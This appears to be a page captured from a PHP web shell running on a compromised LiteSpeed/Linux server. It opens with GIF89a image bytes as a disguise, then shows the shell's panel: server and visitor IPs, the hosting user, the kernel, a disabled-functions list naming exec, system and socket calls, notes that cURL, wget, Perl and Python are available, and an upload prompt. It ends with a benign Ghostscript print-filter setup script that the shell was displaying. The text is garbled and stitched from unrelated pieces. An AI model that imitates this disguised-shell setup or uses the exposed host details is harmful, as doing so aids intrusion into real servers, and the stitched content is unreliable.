GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 18.118.28.31 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /bin/ |
Upload File : |
#!/bin/sh # # BSD PRINT FILTER SETUP utility for Ghostscript - used and tested on # SunOS 4.1.3, but I hope it will be useful on other BSD systems # See documentation for usage # GSPATH= while [ $# -gt 0 ] do case "$1" in -p) GSPATH="$2"/lib/ghostscript; shift;; -h) echo >&2 \ "usage: $0 [-p <gs install prefix>]\n"\ "Where <gs install prefix> is the ""prefix""\n"\ "for the Ghostscript install - the default is\n"\ """/usr/local""" exit 1;; -*) echo >&2 \ "usage: $0 [-p <gs install prefix>]" exit 1;; *) break;; # terminate while loop esac shift done DEVICES="bjt600.32 bjc600.32 bjc600.24 bjc600.24.3 bjc600.16 bjc600.8 bjc600.8.1 bjc600.1 bjc600.dq" #FILTERS="if nf tf gf vf df cf rf" FILTERS="if" # The port your printer is on PRINTERDEV=/dev/lp1 # The kind of printer (accepted values: 'parallel' and 'serial') PRINTERTYPE=parallel if [ "x$GSPATH"="x" ] ; then GSDIR=`which gs | awk -F / 'sub(FS $NF,x)' | awk -F / 'sub(FS $NF,x)'`/lib/ghostscript else GSDIR=$GSPATH fi GSFILTERDIR=$GSDIR/filt SPOOLDIR=/var/spool GSIF=unix-lpr.sh PCAP=printcap.insert if [ "x$GSPATH"="x" ] ; then echo "Warning: Writing filters to $GSFILTERDIR" echo "if you do not want this, you have 10 seconds to hit ^c to abort this script:" for i in 10 09 08 07 06 05 04 03 02 01 continuing....; do sleep 1 echo -n echo -n $i done echo fi PATH=/bin:/usr/bin:/usr/ucb export PATH if [ ! -w $GSDIR ]; then echo "$GSDIR must be writable to create filter directory" exit 1 fi echo " Making links in the filter directory $GSFILTERDIR ... " # # Make the directory for holding the filter and links # if [ -d $GSFILTERDIR ]; then echo "$GSFILTERDIR already exists - not created" else mkdir $GSFILTERDIR fi rm -f $GSFILTERDIR/direct ln -s . $GSFILTERDIR/direct rm -f $GSFILTERDIR/indirect ln -s . $GSFILTERDIR/indirect # # Create a link from each filtertype to the real filter script # for filter in $FILTERS do rm -f $GSFILTERDIR/gs$filter ln -s ../$GSIF $GSFILTERDIR/gs$filter done # # Create a link from each device to the filter directory # for device in $DEVICES do dualqueue= case "$device" in *.dq) device=`basename $device .dq` ; dualqueue=t ;; esac rm -f $GSFILTERDIR/$device if [ $dualqueue ]; then rm -f $GSFILTERDIR/indirect/$device ln -s . $GSFILTERDIR/indirect/$device else rm -f $GSFILTERDIR/direct/$device ln -s . $GSFILTERDIR/direct/$device fi done # # Create a basic printcap insert - this is made in the CURRENT directory # rm -f $PCAP cat > $PCAP << EOF # This is an example printcap insert for Ghostscript printers # You will probably want either to change the names for each printer # below (first line for each device) to something more sensible, or # to add additional name entries (eg cdjcolor for cdj500.24) # The example is shown set up for $PRINTERTYPE printers - you will need # to alter the entries for different or networked remote printer, # eg. a remote network printer would have a line something like: # :lp=:rm=artemis:rp=LPT1: # for a PC called artemis, replacing the serial port settings # # NB/ This is only an example - it is unlikely to be complete or exactly # correct for your system, but is designed to illustrate filter names # corresponding to the accompanying bsd-if print filter # EOF ( previous=undefined for device in $DEVICES do dualqueue= case "$device" in *.dq) device=`basename $device .dq` ; dualqueue=t ;; esac base="`echo $device | sed 's/\.[0-9][0-9]*$//'`" base="`echo $base | sed 's/\.[0-9][0-9]*$//'`" # # If device listed with '.dq' suffix, we set up a separate output queue # if [ $dualqueue ]; then if [ $base != $previous ]; then previous=$base echo "\ # Entry for raw device $base.raw $base.raw|Raw output device $base:\\ :lp=$PRINTERDEV:\\" if test "$PRINTERTYPE" = serial then echo "br#19200:xc#0177777:\\" echo ":ms=-parity,ixon,-opost:\\" fi echo ":sd=$SPOOLDIR/$base/raw:\\ :mx#0:sf:sh:rs:" fi echo "\ # Entry for device $device (output to $base.raw) $device|Ghostscript device $device:\\ :lp=/dev/null:\\" else echo "\ # Entry for device $device $device|Ghostscript device $device:\\ :lp=$PRINTERDEV:\\" if test "$PRINTERTYPE" = serial then echo "br#19200:xc#0177777:\\" echo ":ms=-parity,ixon,-opost:\\" fi fi echo "\ :sd=$SPOOLDIR/$base:\\ :lf=$SPOOLDIR/$base/logfile:\\ :af=$SPOOLDIR/$base/acct:\\" for filter in $FILTERS do if [ $dualqueue ]; then echo "\ :$filter=$GSFILTERDIR/indirect/$device/gs$filter:\\" else echo "\ :$filter=$GSFILTERDIR/direct/$device/gs$filter:\\" fi done echo "\ :mx#0:sf:sh:rs:" done ) >> $PCAP echo " Example printcap insert file \"$PCAP\" now created" # # Remind the user what's still to do # echo " NB/ You will need to create the following directories, with appropriate permissions, and do 'touch logfile' and 'touch acct' in the top level directories (ie. not the 'raw' ones): " ( for device in $DEVICES do dualqueue= case "$device" in *.dq) device=`basename $device .dq` ; dualqueue=t ;; esac base="`echo $device | sed 's/\.[0-9][0-9]*$//'`" base="`echo $base | sed 's/\.[0-9][0-9]*$//'`" echo " $SPOOLDIR/$base" if [ $dualqueue ]; then echo " $SPOOLDIR/$base/raw" fi done ) | sort -u echo " + + + "